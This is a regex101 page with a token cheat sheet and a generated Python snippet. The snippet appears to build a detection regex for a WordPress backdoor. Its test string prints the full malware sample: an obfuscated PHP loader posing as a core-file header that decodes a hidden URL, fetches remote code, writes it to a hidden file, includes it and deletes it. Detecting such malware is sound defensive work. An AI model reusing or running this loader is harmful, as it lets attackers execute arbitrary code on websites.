Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
Processing...

Test String

Code Generator

Language

Generated Code

import re regex = re.compile(r"^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*.{0,800}(\$zeeta);\s*if \(!\$npdcheckclassbgp.{0,200}str_replace[\('\",\s\w\$\);]+(\$algo)\s*=\s*['\"]default[\"'];\s*(\$pass)\s*=.{0,700}function_exists\('wp_cd.{0,410}(\$reqw)\s*=[\s\$\w\(\"']+\3.{0,70}\4,\s*(\$mtchs).{0,300}if\s*\(fopen\(\"\$subdira\/\.\2.{0,220}fwrite\((\$hdl)([,\s\"'\<\?\w\\]+)\5[\[\w\]\\\?\>\"'\)]+;\s*fclose\(\6.{0,120}\1\s*=\s*[\"']yup['\"];\s*\}(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)", flags=re.IGNORECASE | re.DOTALL) test_str = ("<?php\n" "/**\n" " * Main WordPress API\n" " *\n" " * @package WordPress\n" " * Convert given date string into a different format.\n" " *\n" " * $format should be either a PHP date format string, e.g. 'U' for a Unix\n" " * timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.\n" " *\n" " * If $translate is true then the given date and format string will\n" " * be passed to date_i18n() for translation.\n" " *\n" " * @since 0.24\n" " *\n" " * @param string $format Format of the date to return.\n" " * @param string $date Date string to convert.\n" " * @param bool $translate Whether the return date should be translated. Default true.\n" " * @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.\n" " */\n\n" "/** Define ABSPATH as this file's directory */ \n\n" " @ini_set('display_errors', '0');\n" "error_reporting(0);\n" "global $zeeta;\n" "if (!$npDcheckClassBgp && !isset($zeeta)) {\n\n" " $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = \"Zgc5c4MXrOhvdAwS4pBXIercM1fWdrpdmmSLH6uToRkH\";\n" " \n" "if (!function_exists('get_data_ya')) {\n" " if (ini_get('allow_url_fopen')) {\n" " function get_data_ya($m) {\n" " $data = file_get_contents($m);\n" " return $data;\n" " }\n" " }\n" " else {\n" " function get_data_ya($m) {\n" " $ch = curl_init();\n" " curl_setopt($ch, CURLOPT_HEADER, 0);\n" " curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n" " curl_setopt($ch, CURLOPT_URL, $m);\n" " curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);\n" " $data = curl_exec($ch);\n" " curl_close($ch);\n" " return $data;\n" " }\n" " }\n" "}\n\n" "if (!function_exists('wp_cd')) {\n" " function wp_cd($fd, $fa=\"\") {\n" " $fe = \"wp_frmfunct\";\n" " $len = strlen($fd);\n" " $ff = '';\n" " $n = $len>100 ? 8 : 2;\n" " while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1('wp_frmfunct')), 0, $n); }\n" " return $fd^$ff;\n" " }\n" "}\n" " \n\n" " $reqw = $ay($ao($oa(\"$pass\"), 'wp_function'));\n" " preg_match('#gogo(.*)enen#is', $reqw, $mtchs);\n" " $dirs = glob(\"*\", GLOB_ONLYDIR);\n" " foreach ($dirs as $dira) {\n" " if (fopen(\"$dira/.$algo\", 'w')) { $ura = 1; $eb = \"$dira/\"; $hdl = fopen(\"$dira/.$algo\", 'w'); break; }\n" " $subdirs = glob(\"$dira/*\", GLOB_ONLYDIR);\n" " foreach ($subdirs as $subdira) {\n" " if (fopen(\"$subdira/.$algo\", 'w')) { $ura = 1; $eb = \"$subdira/\"; $hdl = fopen(\"$subdira/.$algo\", 'w'); break; }\n" " }\n" " }\n" " if (!$ura && fopen(\".$algo\", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(\".$algo\", 'w'); }\n" " fwrite($hdl, \"<?php\\n$mtchs[1]\\n?>\");\n" " fclose($hdl);\n" " include(\"{$eb}.$algo\");\n" " unlink(\"{$eb}.$algo\");\n" " $npDcheckClassBgp = 'aue';\n\n" " $zeeta = \"yup\";\n\n" " }\n" "?> \n\n\n\n" "<?php") matches = regex.finditer(test_str) for match_num, match in enumerate(matches, start=1): print(f"Match {match_num} was found at {match.start()}-{match.end()}: {match.group()}") for group_num, group in enumerate(match.groups(), start=1): print(f"Group {group_num} found at {match.start(group_num)}-{match.end(group_num)}: {group}")

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Python, please visit: https://docs.python.org/3/library/re.html